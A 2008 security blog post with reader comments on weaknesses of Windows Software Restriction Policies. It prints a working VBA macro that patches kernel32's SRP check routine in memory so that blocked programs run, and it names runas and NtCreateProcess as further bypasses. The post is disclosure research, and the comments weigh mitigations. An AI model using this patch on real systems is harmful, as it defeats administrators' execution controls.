Back to Top

Tuesday, October 28, 2008

Limitations of Software Restriction Policies

Update: ok, SRP is even more broken than I thought. As one of the readers pointed out (thank you Anonymous!), there is a built-in (albeit only partially documented) option on runas which circumvents SRP.

For some time now there has been a friendly back-and-forth between Didier Stevens and myself with regards to the topic of Software Restrictions Policies:

  • I've written a post recommending SRP (Software Restriction Policies as a solution to seecure computers
  • Based on some research done by Mark Russinovich Didier came up with a different (easier to implement) method to circumvent SRP. The gist of the matter is that the checking of SRP is done in user mode in the process which issued the CreateProcess/LoadLibrary call. This means that the current process can patch itself so that SRP isn't correctly verified. Mark did this by intercepting reads to the Registry (where SRP policies are stored) and returning fake results, Didier did this by searching the registry key names and replacing them with bogus ones (so registry reads would fail).
  • After this Didier took the whole thing in a different direction (and I want to credit him for coming up with the idea), and researching the question "what is executable code"? Remember that the first immutable rule of security is "If a bad guy can persuade you to run his program (code) on your computer, it's not your computer anymore". So he compiled the executable in a DLL and used VBA (Visual Basic for Applications - the macro language for Word/Excel/etc) to drop the file on the filesystem and load (execute it). The point was that even if the attacker didn't give you a classic "executable", you'd still run code for him.

    This is bad, very bad, because it just means that the notion "executable code" got expanded to include all file formats which include a macro language. This means HTML, all the Office document formats, Corel products, Autodesk products, etc (to get some idea of the products check out the Visual Basic for Applications Licensing Partners site - and these are just the ones who use VBA - Autodesk for example uses some Lisp variant AFAIK). Some of these programs include facilities to disable execution of macros, but other may not. Even the ones which include such features, probably they are not configured the safest way (deny all) by default. Very bad.

  • The previous method still got blocked by the configuration described by me, however it pointed the way towards the next step: patching the executable entirely from VBA, without using external components. Alternatively you can write location independent code and launch it inside of the process.

So what remains there to be said? In what follows I will give two alternatives to bypass SRP and summarize the possible attack points against it. I will update my original article with a pointer so that people will have a more clear picture of the situation.

Alternative bypass 1: patching the routine which does the actual checking. Given that this is in-process, we don't need any special privileges to do it. The hardcoded address is for my system (Windows XP SP3), so for this to work reliably on all versions of Windows, a more elaborate way of determining the procedure address is needed (however this is not very hard to implement).

Const SW_SHOW = 5
Const PAGE_EXECUTE_WRITECOPY = &H80

Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Declare Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Sub TestSRP()
    '$7C819805h
    Dim mem(11) As Byte
    Dim memAddr As Long
    Dim functionAddr As Long
    Dim oldProtect As Long
    
    functionAddr = &H7C819805
    memAddr = VarPtr(mem(0))
    Call CopyMemory(ByVal memAddr, ByVal functionAddr, 11)
    
    '8B FF              mov     edi, edi
    '55                 push    ebp
    '8B EC              mov     ebp, esp
    '81 EC D8 01 00 00  sub     esp, 1D8h
    If &H8B = mem(0) And &HFF = mem(1) And &H55 = mem(2) And &H8B = mem(3) And &HEC = mem(4) _
        And &H81 = mem(5) And &HEC = mem(6) And &HD8 = mem(7) And &H1 = mem(8) _
        And &H0 = mem(9) And &H0 = mem(10) Then
        
        Call VirtualProtect(ByVal functionAddr, 11, PAGE_EXECUTE_WRITECOPY, oldProtect)
        'B8 00 00 00 00 mov eax, 0
        'C2 18 00       ret 18h
        '90 90 90       nop nop nop
        mem(0) = &HB8: mem(1) = &H0: mem(2) = &H0: mem(3) = &H0: mem(4) = &H0: mem(5) = &HC2
        mem(6) = &H18: mem(7) = &H0: mem(8) = &H90: mem(9) = &H90: mem(10) = &H90
        Call CopyMemory(ByVal functionAddr, ByVal memAddr, 11)
        Call VirtualProtect(ByVal functionAddr, 11, oldProtect, oldProtect)
    Else
        MsgBox "Signature not found!"
    End If
    
    Call ShellExecute(0, "open", "e:\logs\notepad.exe", "", "", SW_SHOW)
End Sub

The code patches the routine "BasepCheckWinSaferRestrictions" from kernel32.dll, the one used to verify SRP restrictions when calling the CreateProcess* family of functions (apparently Microsoft refers to SRP as "Safer"), to always return 0 (which means allowed).

Actually the Windows Internals book (which is a great resource if you are interested in doing any low-level work) states (in chapter 8 - security) that the enforcement of SRP is done in different locations depending on the action you are trying to perform:

  • If you are trying to launch a process via CreateProcess*, it is done in kernel32.dll
  • If you are trying to load a DLL, it is done in ntdll.dll (in the undocumented function "LdrpCodeAuthzCheckDllAllowed")
  • If you are trying to run a batch file, it is done by cmd.exe
  • If you are trying to run a script, it is done in cscript.exe (for command-line scripts), in wscript.exe (for UI scripts) or in scrobj.dll (for script objects - I assume this means for applications embedding the WSH)

This means that other patches need to be performed, based on the situation at hand.

Alternative bypass 2: I found this document in the Google Cache suggesting to use NtCreateProcess, which is a step down from CreateProcess*, and it assumes that the checks for SRP have already been performed. Reading the disassembly of kernel32.dll/ntdll.dll I concluded that this method would certainly work, however I didn't write code for it, because it would have needed to import a ton of undocumented API's. If somebody is interested, a good starting point would be the ReactOS implementation of CreateProcessInternalW.

The advantage of this code is that it is very portable across Windows versions and it is very easy to implement. In fact it is portable between programs! I found that OpenOffice 2.4 and later has a BASIC implementation which sufficiently close to the one use by Winword so that one can write portable macros!

Conclusions about SRP:

Software Restrictions Policies provide a much lower assurance than I previously assumed. They can be easily bypassed by users, even with the lowest privilege level.

The bypass can be performed directly from x86 code (for example by exploiting a running process and executing shellcode in it) or from scripting languages which offer access to the Win32 API (such as the MS Office macros).

However SRP still provides a strong protection against non-targeted attacks. This is because 99.9999% of the attackers aren't expecting for it to be activated or necessarily know how to circumvent it. This is security by diversity. It is not 100% conceptually correct, however in practice it works very good.

10 comments:

  1. Anonymous4:35 PM

    Very nice, patching machine code from VBA! Has anybody ever coded a disassembler/assembler in VBScript? ;-) This way, we could make our VBA code less DLL-version dependent.

    And you're absolutely right: I've said it before, and maybe I should stress this more, but it's not because there is a way to bypass a protection mechanism, that said protection mechanism becomes useless.
    GPOs & SRPs are still very useful, certainly from preventing extra helpd-esk support for users who continually "tune" their configuration.

    IMHO, these techniques will only be used in a targetted attack/penetration testing scenario.

    ReplyDelete
  2. Anonymous6:38 PM

    Interesting stuff! Shame that I found this blogpost only so long after it was made...

    About these bypassing techniques, though...

    The runas method is obviously very easy to prevent by blocking runas.exe in the policy by hash & path.

    The method of using Office macros to load a DLL or directly edit the Excel process is also easy to prevent by setting macro security to high.

    How about the other methods, though?

    Alternative bypass 1, or in-process patching of the SRP check routine? How would one perform in-process patching? Wouldn't you first have to execute code through scripting like Office macros, for example, which is easy to prevent, or by exploiting a bug that allows you to run arbitrary code?

    How would one be able to use Alternative bypass 2 or NTCreateProcess to bypass SRP? Wouldn't that require that you could first execute some code and then use that code to NTCreateProcess what you wanted? And wouldn't the initial code execution be preventable, either by SRP or by script language security settings such as the Office macro security settings?

    Point is, aren't these methods of attacking SRP rather extremely limited, in that they are mostly preventable?

    ReplyDelete
  3. @Anonymous:

    the main point is that any kind of executable code of any privilege level (ie. even limited user) can bypass the SRP. As for limiting the possible exploitation paths - they are quite a few (and these are only the ones which come to mind):

    - other applications might have macro capabilities installed which don't have an option to disable it or the option isn't set (relying on non-default settings being set is not a very good method). Example: OpenOffice, CorelDraw, etc

    - the same patching is most likely possible from PowerShell (which nowadays gets installed by Windows Update)

    - there are a lot of exploits in widely-used third-party products (like Flash, Acrobat Reader, etc) which result in arbitrary code execution

    - just these days a new arbitrary code execution vulnerability for some MS ActiveX component has been disclosed

    (You might also want to check out my post What is an executable file anyway?)

    My point is: there are numerous ways to get executable code on your system, and it is very hard to guarantee that none of those apply to your environment (unless you run Linux :-p).

    ReplyDelete
  4. Anonymous9:19 PM

    Yes, it is a shame that limited users can bypass SRP with some methods. But I believe in trying to make that as hard as possible for those that would try it. ;)

    For example, it would not be difficult to confirm if you have macro-capable software or PowerShell installed on systems, and then take actions to limit exposure IOW disable that stuff if at all possible.

    Vulnerabilities are a more difficult case, but keeping up with the patches often helps, as the real zero-days are a minority. Many attacks attempt to exploit vulnerabilities that have had a patch out for a long while.

    I really do wish that M$ can take SRP into the kernel in the future, so bypassing it can be made more difficult.

    Re. the executable code, a lot of stuff is executable, but that goes for Linux too. From window managers to Adobe Flash or Open Office many Linux apps have arbitrary code exec vulnerabilities that could be exploited to execute stuff that some wouldn't realize was executable in the first place. I don't know of any OS that can avoid stuff like that.

    Great analysis and blog though. =) Interesting reading. Keep up the good work!

    ReplyDelete
  5. I certainly see the value in trying to be as secure as possible. In fact, using SRP by itself, without additional hardening measures, would keep 99.99% of all currently existing malware off the system (because they are not created to deal with SRP).

    My point is that it still can be bypassed, and one needs to be vigilant at all times if one wants to maintain security.

    ReplyDelete
  6. Anonymous2:01 PM

    Yes, vigilance or awareness or whatever we choose to call it is the key. Keeping eyes open. That's why I read blogs like yours. ;) Before the gpdisable demo by Russinovich, and then later what I found in this blog and in Didier Stevens' blog, I had never seen any actual software to bypass SRP. I knew it had some methods to bypass it, like setting the trustlevel to unrestricted with runas.exe, but I had never seen anyone actually do anything with those methods or develop more advanced methods. So this is interesting stuff!

    Even after these new discoveries about bypassing SRP though, I don't think anyone has ever publicly reported seeing SRP-bypassing malware in the wild, even malware only used in targeted attacks. I've never seen any malware that makes even an attempt to bypass SRP. The few targeted attacks I have seen had no method to bypass SRP. Most were just attempts to exploit new Adobe Reader vulnerabilities by sending personalized and very legit looking email with a PDF attachment to people in the company that deal with PDF files all the time. So I think I'll agree with you that SRP still provides pretty good protection agains malware. =)

    ReplyDelete
  7. @Anonymous: thank you for sticking around for the discussion. One note: if you specify a name/url when posting the comment, you will get a free link from my blog to the given site, since I removed the "nofollow" attributes from the comment name links (but I moderate comments to keep off spam).

    (And if I find the linked blog interesting - supposing that it is a blog - I will most probably subscribe to it :-))

    ReplyDelete
  8. Anonymous8:34 PM

    Thanks for the tip! I don't write a blog of my own though, I prefer to read blogs written by people who are smarter than me and learn from them. =)

    ReplyDelete
  9. Anonymous11:14 PM

    Random thought here: SAFER/SRP monitors ShellExecute and CreateProcess. But what about WinExec? Some shellcodes use WinExec instead of ShellExecute or CreateProcess. Will SRP see processes that are started using WinExec which is a legacy function from before WinXPdays? Will SRP block execution with WinExec? Thx

    ReplyDelete
  10. @Anonymous: yes, SRP definitely covers WinExec (if my memory serves right, WinExec and ShellExecute are both in fact wrappers around CreateProcess). So yes, SRP will filter WinExec.

    BTW, next time you leave a comment, you might consider logging in, since the URL you specify for your username will be linked from my blog without nofollow (ie. with "follow").

    Regards.

    ReplyDelete